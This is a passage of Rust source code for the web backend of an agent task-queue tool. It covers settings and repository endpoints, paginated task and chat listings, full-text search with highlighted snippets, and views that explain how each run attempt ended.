4466 let mut body = out.stdout;
4467 if body.len() > GRAFT_DIFF_MAX {
4468 let mut cut = GRAFT_DIFF_MAX;
4469 while !body.is_char_boundary(cut) {
4470 cut -= 1;
4471 }
4472 body.truncate(cut);
4473 body.push_str("\n... diff truncated ...");
4474 }
4475 Ok((
4476 [
4477 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4478 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4479 ],
4480 body,
4481 ))
4482}
4483
4484#[derive(Debug, Serialize)]
4490struct TaskView {
4491 #[serde(flatten)]
4492 task: Task,
4493 source_label: String,
4494 source_link: Option<SourceLink>,
4495 status_str: &'static str,
4496 instruction_md: Vec<md::Node>,
4500 waits_on: Vec<String>,
4504 stuck_roots: Vec<String>,
4507}
4508
4509impl From<Task> for TaskView {
4510 fn from(task: Task) -> Self {
4511 Self {
4512 source_label: task.source.label(),
4513 source_link: source_link(&task.source),
4514 status_str: task.status.as_str(),
4515 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4516 waits_on: Vec::new(),
4517 stuck_roots: Vec::new(),
4518 task,
4519 }
4520 }
4521}
4522
4523impl TaskView {
4524 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4525 let waits_on = inv.waits_on(&task);
4526 let stuck_roots = inv
4527 .stuck_roots(&task)
4528 .iter()
4529 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4530 .collect();
4531 Self {
4532 waits_on,
4533 stuck_roots,
4534 ..Self::from(task)
4535 }
4536 }
4537}
4538
4539#[derive(Debug, Default, Deserialize)]
4542#[serde(default)]
4543struct ReposQuery {
4544 refresh: u8,
4545}
4546
4547async fn repos_list(
4554 State(ui): State<Arc<Ui>>,
4555 Query(q): Query<ReposQuery>,
4556) -> ApiResult<Json<Vec<repos::Repo>>> {
4557 let refresh = q.refresh != 0;
4558 blocking(move || {
4559 let (cfg, _) = Config::discover(&ui.repo, None)?;
4560 Ok(Json(ui.repos_cache.list(
4561 &cfg.repos.roots,
4562 Duration::from_secs(cfg.repos.scan_ttl),
4563 refresh,
4564 )))
4565 })
4566 .await
4567}
4568
4569#[derive(Debug, Default, Deserialize)]
4571struct SettingsQuery {
4572 repo: Option<PathBuf>,
4573}
4574
4575fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4579 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4580 let paths: Vec<PathBuf> = ui
4581 .machine_config
4582 .iter()
4583 .filter(|p| p.is_file())
4584 .cloned()
4585 .collect();
4586 if paths.is_empty() {
4587 Ok(Config::autodetected())
4588 } else {
4589 Config::load_layers(&paths)
4590 }
4591 });
4592 let mut known = cfg
4593 .map(|cfg| {
4594 ui.repos_cache.list(
4595 &cfg.repos.roots,
4596 Duration::from_secs(cfg.repos.scan_ttl),
4597 refresh,
4598 )
4599 })
4600 .unwrap_or_default();
4601 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4602 if !known.iter().any(|r| r.path == path) {
4603 known.push(repos::Repo {
4604 name: path
4605 .file_name()
4606 .unwrap_or_default()
4607 .to_string_lossy()
4608 .into_owned(),
4609 path,
4610 });
4611 }
4612 known
4613}
4614
4615fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4616 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4617 let canonical = requested.canonicalize().ok();
4618 let mut known = settings_repositories(ui, false);
4619 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4620 if !known.iter().any(matches) {
4621 known = settings_repositories(ui, true);
4622 }
4623 let repo = known
4624 .iter()
4625 .find(|r| matches(r))
4626 .map(|r| r.path.clone())
4627 .ok_or_else(|| ApiError {
4628 text_reason: None,
4629 status: StatusCode::UNPROCESSABLE_ENTITY,
4630 message: "Choose a known repository from the Settings selector.".to_owned(),
4631 })?;
4632 Ok((repo, known))
4633}
4634
4635async fn settings_get(
4639 State(ui): State<Arc<Ui>>,
4640 Query(q): Query<SettingsQuery>,
4641) -> ApiResult<Json<settings::SettingsView>> {
4642 blocking(move || {
4643 let (repo, known) = settings_context(&ui, q)?;
4644 Ok(Json(settings::view_with_repos(
4645 &repo,
4646 ui.machine_config.as_deref(),
4647 &known,
4648 )))
4649 })
4650 .await
4651}
4652
4653#[derive(Debug, Deserialize)]
4655#[serde(deny_unknown_fields)]
4656struct RolesBody {
4657 revision: String,
4659 #[serde(default)]
4661 roles: std::collections::BTreeMap<String, Vec<String>>,
4662 #[serde(default)]
4666 counts: std::collections::BTreeMap<String, serde_json::Value>,
4667}
4668
4669async fn settings_put_roles(
4675 State(ui): State<Arc<Ui>>,
4676 Query(q): Query<SettingsQuery>,
4677 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4678) -> ApiResult<Json<settings::SettingsView>> {
4679 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4680 blocking(move || {
4681 let (repo, known) = settings_context(&ui, q)?;
4682 settings::save_with_repos(
4683 &repo,
4684 ui.machine_config.as_deref(),
4685 &body.revision,
4686 &body.roles,
4687 &body.counts,
4688 &known,
4689 )
4690 .map(Json)
4691 .map_err(|e| match e {
4692 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4693 settings::SaveError::Refused(m) => ApiError {
4694 text_reason: None,
4695 status: StatusCode::UNPROCESSABLE_ENTITY,
4696 message: m,
4697 },
4698 settings::SaveError::Internal(m) => ApiError::internal(m),
4699 })
4700 })
4701 .await
4702}
4703
4704async fn queue_list(
4705 State(ui): State<Arc<Ui>>,
4706 Query(q): Query<ListQuery>,
4707) -> ApiResult<Json<Vec<TaskView>>> {
4708 blocking(move || {
4709 let tasks = ui.queue.list();
4710 let inv =
4711 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
4712 Ok(Json(
4713 tasks
4714 .into_iter()
4715 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4716 .map(|t| TaskView::with_inventory(t, &inv))
4717 .collect(),
4718 ))
4719 })
4720 .await
4721}
4722
4723#[derive(Debug, Default, Deserialize)]
4728struct PageQuery {
4729 before: Option<String>,
4730}
4731
4732#[derive(Serialize)]
4733struct StorePage<T> {
4734 rows: Vec<T>,
4735 next: Option<String>,
4736}
4737
4738const STORE_PAGE_SIZE: usize = 16;
4739
4740#[derive(Debug)]
4744struct ListWalk {
4745 token: u64,
4746 talks: bool,
4747 opened: std::time::Instant,
4748 ids: Arc<Vec<String>>,
4749}
4750
4751fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
4752 let mut walks = ui
4753 .monitor
4754 .list_walks
4755 .lock()
4756 .unwrap_or_else(PoisonError::into_inner);
4757 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
4758 let (token, ids, offset) = if let Some(cursor) = q.before {
4759 let (token, offset) = cursor
4760 .split_once(':')
4761 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
4762 let token = token
4763 .parse::<u64>()
4764 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4765 let offset = offset
4766 .parse::<usize>()
4767 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
4768 let walk = walks
4769 .iter()
4770 .find(|walk| walk.token == token && walk.talks == talks)
4771 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
4772 (token, walk.ids.clone(), offset)
4773 } else {
4774 let root = if talks {
4775 ui.talks.root()
4776 } else {
4777 ui.queue.root()
4778 };
4779 let mut ids = crate::queue::record_ids(root, "json")?;
4780 ids.sort_unstable_by(|a, b| b.cmp(a));
4781 let ids = Arc::new(ids);
4782 let mut token = crate::rng::entropy();
4783 while walks.iter().any(|walk| walk.token == token) {
4784 token = crate::rng::entropy();
4785 }
4786 if walks.len() >= 16 {
4789 walks.remove(0);
4790 }
4791 walks.push(ListWalk {
4792 token,
4793 talks,
4794 opened: std::time::Instant::now(),
4795 ids: ids.clone(),
4796 });
4797 (token, ids, 0)
4798 };
4799 if offset > ids.len() {
4800 return Err(ApiError::bad_request("Invalid list cursor"));
4801 }
4802 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
4803 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
4804 Ok((ids[offset..end].to_vec(), next))
4805}
4806
4807async fn queue_page(
4808 State(ui): State<Arc<Ui>>,
4809 Query(q): Query<PageQuery>,
4810) -> ApiResult<Json<StorePage<TaskView>>> {
4811 blocking(move || {
4812 let (ids, next) = page_ids(&ui, false, q)?;
4813 let tasks: Vec<_> = ids
4814 .into_iter()
4815 .filter_map(|id| ui.queue.get(&id).ok())
4816 .collect();
4817 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
4818 let rows = tasks
4819 .into_iter()
4820 .map(|task| TaskView::with_inventory(task, &inv))
4821 .collect();
4822 Ok(Json(StorePage { rows, next }))
4823 })
4824 .await
4825}
4826
4827#[derive(Serialize)]
4831struct TalkListView {
4832 id: String,
4833 repo: PathBuf,
4834 agent: String,
4835 status: talk::TalkStatus,
4836 turns: Vec<TalkListTurn>,
4837 thinking: bool,
4838 context: talk::ContextUsage,
4839 created_at: Timestamp,
4840 updated_at: Timestamp,
4841}
4842
4843#[derive(Serialize)]
4844struct TalkListTurn {
4845 who: talk::Who,
4846 at: Timestamp,
4847 body: String,
4848}
4849
4850async fn talks_page(
4851 State(ui): State<Arc<Ui>>,
4852 Query(q): Query<PageQuery>,
4853) -> ApiResult<Json<StorePage<TalkListView>>> {
4854 blocking(move || {
4855 let (ids, next) = page_ids(&ui, true, q)?;
4856 let rows = ids
4857 .into_iter()
4858 .filter_map(|id| ui.talks.get(&id).ok())
4859 .map(|talk| TalkListView {
4860 thinking: ui.is_thinking(&talk.id),
4861 context: talk::context_usage(&talk, None),
4862 turns: talk
4863 .turns
4864 .iter()
4865 .map(|turn| TalkListTurn {
4866 who: turn.who,
4867 at: turn.at,
4868 body: turn
4869 .body
4870 .lines()
4871 .next()
4872 .unwrap_or_default()
4873 .chars()
4874 .take(240)
4875 .collect(),
4876 })
4877 .collect(),
4878 id: talk.id,
4879 repo: talk.repo,
4880 agent: talk.agent,
4881 status: talk.status,
4882 created_at: talk.created_at,
4883 updated_at: talk.updated_at,
4884 })
4885 .collect();
4886 Ok(Json(StorePage { rows, next }))
4887 })
4888 .await
4889}
4890
4891async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
4892 blocking(move || {
4893 let tasks = ui.indexed_tasks()?;
4894 Ok(Json(TaskCountsView::from(
4895 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
4896 )))
4897 })
4898 .await
4899}
4900
4901const SEARCH_MAX_HITS: usize = 100;
4903const SEARCH_MAX_QUERY: usize = 200;
4905const SEARCH_MAX_TERMS: usize = 8;
4906const SNIPPET_BEFORE: usize = 50;
4908const SNIPPET_AFTER: usize = 110;
4909
4910#[derive(Debug, Deserialize)]
4912struct SearchQuery {
4913 #[serde(default)]
4914 scope: String,
4915 #[serde(default)]
4916 q: String,
4917}
4918
4919#[derive(Debug, Serialize, PartialEq, Eq)]
4922struct SnippetPart {
4923 text: String,
4924 hit: bool,
4925}
4926
4927#[derive(Debug, Serialize)]
4928struct SearchHit {
4929 id: String,
4930 field: String,
4932 snippet: Vec<SnippetPart>,
4933 #[serde(skip_serializing_if = "Option::is_none")]
4937 run: Option<RunSummary>,
4938}
4939
4940#[derive(Debug, Serialize)]
4941struct SearchView {
4942 scope: String,
4943 q: String,
4944 hits: Vec<SearchHit>,
4946 total: usize,
4948 truncated: bool,
4949 unreadable: usize,
4952}
4953
4954fn text_leaves<'a>(
4957 value: &'a serde_json::Value,
4958 field: &'a str,
4959 out: &mut Vec<(&'a str, &'a str)>,
4960) {
4961 match value {
4962 serde_json::Value::String(s) => out.push((field, s)),
4963 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4964 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4965 _ => {}
4966 }
4967}
4968
4969fn fold_char(c: char) -> char {
4972 c.to_lowercase().next().unwrap_or(c)
4973}
4974
4975fn search_terms(q: &str) -> Vec<String> {
4977 let mut terms: Vec<String> = Vec::new();
4978 for t in q.split_whitespace() {
4979 let t = t.to_lowercase();
4980 if !terms.contains(&t) {
4981 terms.push(t);
4982 }
4983 }
4984 terms
4985}
4986
4987fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4990 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4991 let mut first: Option<usize> = None;
4992 for term in terms {
4993 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4994 first = Some(first.map_or(at, |f| f.min(at)));
4995 }
4996 let (field, text) = leaves[first?];
4998 Some(SearchHit {
4999 id: String::new(),
5000 field: field.to_owned(),
5001 snippet: snippet_of(text, terms),
5002 run: None,
5003 })
5004}
5005
5006fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5009 let chars: Vec<char> = text.chars().collect();
5010 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5011 let needles: Vec<Vec<char>> = terms
5012 .iter()
5013 .map(|t| t.chars().map(fold_char).collect())
5014 .collect();
5015 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5016 let mut best: Option<(usize, usize)> = None;
5017 for n in needles.iter().filter(|n| !n.is_empty()) {
5018 if n.len() > chars.len() || to == 0 {
5022 continue;
5023 }
5024 let last = (to - 1).min(chars.len() - n.len());
5025 if from > last {
5026 continue;
5027 }
5028 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5029 && best.is_none_or(|(b, _)| i < b)
5030 {
5031 best = Some((i, i + n.len()));
5032 }
5033 }
5034 best
5035 };
5036 let Some((start, _)) = find(0, chars.len()) else {
5037 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5039 return vec![SnippetPart {
5040 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5041 hit: false,
5042 }];
5043 };
5044 let lo = start.saturating_sub(SNIPPET_BEFORE);
5045 let hi = (start + SNIPPET_AFTER).min(chars.len());
5046 let mut parts: Vec<SnippetPart> = Vec::new();
5047 let mut push = |s: &[char], hit: bool| {
5048 if s.is_empty() {
5049 return;
5050 }
5051 let text: String = s.iter().collect();
5052 match parts.last_mut() {
5053 Some(p) if p.hit == hit => p.text.push_str(&text),
5054 _ => parts.push(SnippetPart { text, hit }),
5055 }
5056 };
5057 if lo > 0 {
5058 push(&['\u{2026}'], false);
5059 }
5060 let mut at = lo;
5061 while at < hi {
5062 match find(at, hi) {
5063 Some((s, e)) => {
5064 push(&chars[at..s], false);
5065 let shown = e.min(hi);
5067 push(&chars[s..shown], true);
5068 at = shown;
5069 }
5070 None => {
5071 push(&chars[at..hi], false);
5072 at = hi;
5073 }
5074 }
5075 }
5076 if hi < chars.len() {
5077 push(&['\u{2026}'], false);
5078 }
5079 let mut prev_space = false;
5082 for p in &mut parts {
5083 let mut out = String::with_capacity(p.text.len());
5084 for c in p.text.chars() {
5085 if c.is_whitespace() {
5086 if !prev_space {
5087 out.push(' ');
5088 }
5089 prev_space = true;
5090 } else {
5091 out.push(c);
5092 prev_space = false;
5093 }
5094 }
5095 p.text = out;
5096 }
5097 parts.retain(|p| !p.text.is_empty());
5098 parts
5099}
5100
5101fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5103where
5104 I: IntoIterator<Item = (String, serde_json::Value)>,
5105{
5106 for (id, doc) in docs {
5107 let mut leaves = Vec::new();
5108 leaves.push(("id", id.as_str()));
5111 text_leaves(&doc, "", &mut leaves);
5112 if let Some(mut hit) = search_document(terms, &leaves) {
5113 view.total += 1;
5114 if view.hits.len() < SEARCH_MAX_HITS {
5115 hit.id = id;
5116 view.hits.push(hit);
5117 }
5118 }
5119 }
5120 view.truncated = view.total > view.hits.len();
5121}
5122
5123fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5130 let opener = talk
5131 .turns
5132 .iter()
5133 .find(|t| t.who == crate::talk::Who::Operator)
5134 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
5135 .unwrap_or("");
5136 let title: String = if opener.chars().count() > 96 {
5137 opener.chars().take(95).chain(['\u{2026}']).collect()
5138 } else {
5139 opener.to_owned()
5140 };
5141 let turns: Vec<serde_json::Value> = talk
5142 .turns
5143 .iter()
5144 .map(|t| {
5145 let who = match t.who {
5146 crate::talk::Who::Operator => "operator",
5147 crate::talk::Who::Agent => "agent",
5148 };
5149 serde_json::json!({ who: t.body })
5150 })
5151 .collect();
5152 serde_json::json!({ "title": title, "turns": turns })
5153}
5154
5155async fn search_get(
5162 State(ui): State<Arc<Ui>>,
5163 Query(q): Query<SearchQuery>,
5164) -> ApiResult<Json<SearchView>> {
5165 let query = q.q.trim().to_owned();
5166 if query.is_empty() {
5167 return Err(ApiError::bad_request("q must not be empty"));
5168 }
5169 if query.chars().count() > SEARCH_MAX_QUERY {
5170 return Err(ApiError::bad_request(format!(
5171 "q is longer than {SEARCH_MAX_QUERY} characters"
5172 )));
5173 }
5174 let terms = search_terms(&query);
5175 if terms.len() > SEARCH_MAX_TERMS {
5176 return Err(ApiError::bad_request(format!(
5177 "q has more than {SEARCH_MAX_TERMS} terms"
5178 )));
5179 }
5180 let scope = q.scope;
5181 if scope != "runs" && scope != "tasks" && scope != "chats" {
5182 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5183 }
5184 blocking(move || {
5185 let mut view = SearchView {
5186 scope: scope.clone(),
5187 q: query,
5188 hits: Vec::new(),
5189 total: 0,
5190 truncated: false,
5191 unreadable: 0,
5192 };
5193 if scope == "runs" {
5194 let mut unreadable = 0;
5195 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5199 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5200 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5201 Some(v) => Some((id, v)),
5202 None => {
5203 unreadable += 1;
5204 None
5205 }
5206 }
5207 });
5208 search_docs(&terms, docs, &mut view);
5209 view.unreadable = unreadable;
5210 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5213 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5214 for hit in &mut view.hits {
5215 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5216 hit.run = summarize(
5217 [state],
5218 &open_runs,
5219 &claimed,
5220 &superseded,
5221 |p| probe.borrow_mut().status(p),
5222 |p| probe.borrow_mut().started_at(p),
5223 )
5224 .pop();
5225 }
5226 }
5227 } else if scope == "chats" {
5228 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5229 view.unreadable = unreadable;
5230 search_docs(
5231 &terms,
5232 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5233 &mut view,
5234 );
5235 } else {
5236 let docs = ui.queue.list().into_iter().filter_map(|t| {
5237 let mut v = serde_json::to_value(&t).ok()?;
5238 if let Some(o) = v.as_object_mut() {
5241 o.insert("filed_by".to_owned(), t.source.label().into());
5242 }
5243 Some((t.id, v))
5244 });
5245 search_docs(&terms, docs, &mut view);
5246 }
5247 Ok(Json(view))
5248 })
5249 .await
5250}
5251
5252#[derive(Debug, Serialize)]
5254struct TaskRunView {
5255 n: usize,
5257 id: String,
5258 short: String,
5259 kind: &'static str,
5261 status: Option<&'static str>,
5263 readable: bool,
5265 provisional: bool,
5267 description: String,
5269 outcome: String,
5271 created_at: Option<Timestamp>,
5272 pr: Option<String>,
5273 exit: RunExit,
5275 attempt: AttemptCost,
5277 exit_label: String,
5280 later_pass: Option<usize>,
5283 pass_n: usize,
5287 passes_of_run: usize,
5288 pass: Option<PassView>,
5291 branch: Option<String>,
5293 badge: Option<String>,
5296}
5297
5298#[derive(Debug, Clone, PartialEq, Serialize)]
5300struct PassView {
5301 index: usize,
5302 resumed: bool,
5303 started_at: Timestamp,
5304 ended_at: Option<Timestamp>,
5305 end: &'static str,
5307 cause: Option<crate::run::ParkCause>,
5308 label: String,
5310 cost: Option<crate::queue::PassCost>,
5313}
5314
5315impl PassView {
5316 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5317 use crate::run::PassEnd;
5318 let (end, cause, label) = match &p.end {
5319 None => ("open", None, "still open".to_owned()),
5320 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5321 Some(PassEnd::Unrecorded) => (
5322 "unrecorded",
5323 None,
5324 "stopped without recording why (a crash, a kill or a restart; not known)"
5325 .to_owned(),
5326 ),
5327 };
5328 Self {
5329 index: p.index,
5330 resumed: p.resumed,
5331 started_at: p.started_at,
5332 ended_at: p.ended_at,
5333 end,
5334 cause,
5335 label,
5336 cost: settled.map(|t| t.cost),
5337 }
5338 }
5339}
5340
5341#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5343#[serde(rename_all = "snake_case")]
5344enum RunExit {
5345 Unreadable,
5346 Interrupted,
5348 Parked,
5349 QuotaStall,
5350 ResumedQuotaStall,
5354 Merged,
5355 Ready,
5356 Superseded,
5357 AlreadyInBase,
5360 Stalled,
5362 HeldWithPr,
5364 NoopHeld,
5365 Spent,
5367 InProgress,
5368}
5369
5370#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5371#[serde(rename_all = "snake_case")]
5372enum AttemptCost {
5373 Spent,
5374 Refunded,
5375 None,
5376 Unknown,
5378}
5379
5380impl RunExit {
5381 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5382 let Some(s) = s else {
5383 return Self::Unreadable;
5384 };
5385 let status = s.status;
5386 if resumed_later {
5387 Self::Interrupted
5388 } else if s.parked {
5389 Self::Parked
5390 } else if !status.done() {
5391 Self::InProgress
5392 } else if matches!(status, RunStatus::Merged) {
5393 Self::Merged
5394 } else if matches!(status, RunStatus::Ready) {
5395 Self::Ready
5396 } else if matches!(status, RunStatus::Superseded) {
5397 Self::Superseded
5398 } else if matches!(status, RunStatus::AlreadyInBase) {
5399 Self::AlreadyInBase
5400 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5401 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5402 {
5403 if resumed {
5404 Self::ResumedQuotaStall
5405 } else {
5406 Self::QuotaStall
5407 }
5408 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5409 Self::HeldWithPr
5410 } else if matches!(status, RunStatus::VerifiedNoop) {
5411 Self::NoopHeld
5412 } else if matches!(status, RunStatus::Stalled) {
5413 Self::Stalled
5414 } else {
5415 Self::Spent
5416 }
5417 }
5418
5419 fn cost(self) -> AttemptCost {
5420 match self {
5421 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5422 Self::Merged
5423 | Self::Ready
5424 | Self::Stalled
5425 | Self::HeldWithPr
5426 | Self::NoopHeld
5427 | Self::Spent => AttemptCost::Spent,
5428 Self::InProgress => AttemptCost::None,
5429 Self::AlreadyInBase => AttemptCost::Refunded,
5430 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5431 AttemptCost::Unknown
5432 }
5433 }
5434 }
5435
5436 fn edge_label(self, status: Option<&str>) -> String {
5438 match self {
5439 Self::Unreadable => "record unreadable".to_owned(),
5440 Self::Interrupted => "interrupted before the run finished".to_owned(),
5441 Self::Parked => "parked, attempt refunded".to_owned(),
5442 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5443 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5444 Self::Merged => "merged".to_owned(),
5445 Self::Ready => "ready, not merged".to_owned(),
5446 Self::Superseded => "superseded by a later attempt".to_owned(),
5447 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5448 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5449 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5450 Self::NoopHeld => "verified no-op".to_owned(),
5451 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5452 Self::InProgress => "in progress".to_owned(),
5453 }
5454 }
5455
5456 fn explains(self, end: TaskStatus) -> bool {
5459 match self {
5460 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5461 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5462 Self::Unreadable | Self::Superseded | Self::Ready => true,
5463 _ => end != TaskStatus::Done,
5464 }
5465 }
5466}
5467
5468#[derive(Debug, Serialize)]
5470struct TaskDetailView {
5471 #[serde(flatten)]
5472 task: TaskView,
5473 max_attempts: usize,
5476 history: Vec<TaskRunView>,
5477 passes_total: usize,
5480 runs_distinct: usize,
5482 flow: FlowView,
5483 followup_origin: Option<FollowUpOrigin>,
5485 runs_unreadable: usize,
5487 attempts_note: &'static str,
5489}
5490
5491const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5492and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5493on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5494the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5495
5496fn review_branch_of(instruction: &str) -> Option<&str> {
5499 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5500 rest.split('`').next().filter(|b| !b.is_empty())
5501}
5502
5503#[derive(Default)]
5505struct RunSlot<'a> {
5506 n: usize,
5508 resumed: bool,
5510 resumed_later: Option<usize>,
5512 prior: Option<(&'a str, RunStatus)>,
5514 last: bool,
5515 pass: Option<&'a crate::run::RunPass>,
5517 settled: Option<&'a crate::queue::TaskPass>,
5519 pass_n: usize,
5521 passes_of_run: usize,
5522}
5523
5524fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5527 let RunSlot {
5528 n,
5529 resumed,
5530 resumed_later,
5531 prior,
5532 last,
5533 pass,
5534 settled,
5535 pass_n,
5536 passes_of_run,
5537 } = at;
5538 let short = run::short_of(id).to_owned();
5539 let Some(s) = state else {
5540 return TaskRunView {
5541 n,
5542 id: id.to_owned(),
5543 short,
5544 kind: "unknown",
5545 status: None,
5546 readable: false,
5547 provisional: false,
5548 description:
5549 "This run's record could not be read by this build (written by a different \
5550 magi, or removed), so what kind of attempt it was is unknown."
5551 .to_owned(),
5552 outcome: String::new(),
5553 created_at: None,
5554 pr: None,
5555 exit: RunExit::Unreadable,
5556 attempt: AttemptCost::Unknown,
5557 exit_label: RunExit::Unreadable.edge_label(None),
5558 later_pass: resumed_later,
5559 pass_n,
5560 passes_of_run,
5561 pass: None,
5562 branch: None,
5563 badge: None,
5564 };
5565 };
5566 let branch = review_branch_of(&s.instruction);
5567 let kind = if resumed {
5568 "resume"
5569 } else if branch.is_some() {
5570 "review"
5571 } else if task.solo || s.candidates.len() == 1 {
5572 "solo"
5573 } else {
5574 "competition"
5575 };
5576 let mut description = match kind {
5577 "resume" => {
5578 format!("Resumed run {short}: the same run carried on instead of competing again.")
5579 }
5580 "review" => format!(
5581 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5582 branch.unwrap_or_default()
5583 ),
5584 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5585 _ => format!(
5586 "Competition: {} candidates judged blind.",
5587 s.candidates.len().max(1)
5588 ),
5589 };
5590 if !resumed && let Some((p, st)) = prior {
5591 description.push_str(&format!(
5592 " A retry: run {p} before it ended {}.",
5593 st.display_label()
5594 ));
5595 }
5596
5597 let status = s.status;
5598 let provisional = matches!(status, RunStatus::Stalled)
5599 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5600 let head = if resumed_later.is_some() {
5601 String::new()
5602 } else {
5603 match status {
5604 RunStatus::Merged => "Merged.".to_owned(),
5605 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5606 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5607 RunStatus::AlreadyInBase => {
5608 "Already in the base: this change landed under other commits, nothing was left to land."
5609 .to_owned()
5610 }
5611 RunStatus::Stalled => {
5612 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5613 .to_owned()
5614 }
5615 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5616 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5617 RunStatus::VerifiedNoop => {
5618 "Verified no-op: the candidates found nothing to change.".to_owned()
5619 }
5620 other if other.done() => format!("Ended {}.", other.display_label()),
5621 other => format!("In progress ({}).", other.display_label()),
5622 }
5623 };
5624 let view = pass.map(|p| PassView::of(p, settled));
5625 let recorded_end = view
5626 .as_ref()
5627 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5628 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5629 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5630 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5631 None => "whether its attempt was handed back was not recorded",
5632 };
5633 let pass_note = if passes_of_run > 1 {
5634 format!(
5635 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5636 )
5637 } else {
5638 String::new()
5639 };
5640 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5641 let cause = match v.end {
5643 "parked" => format!("It was stopped on purpose: {}.", v.label),
5644 _ => format!("It {}.", v.label),
5645 };
5646 format!(
5647 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5648 capitalise(cost_words)
5649 )
5650 } else if let Some(k) = resumed_later {
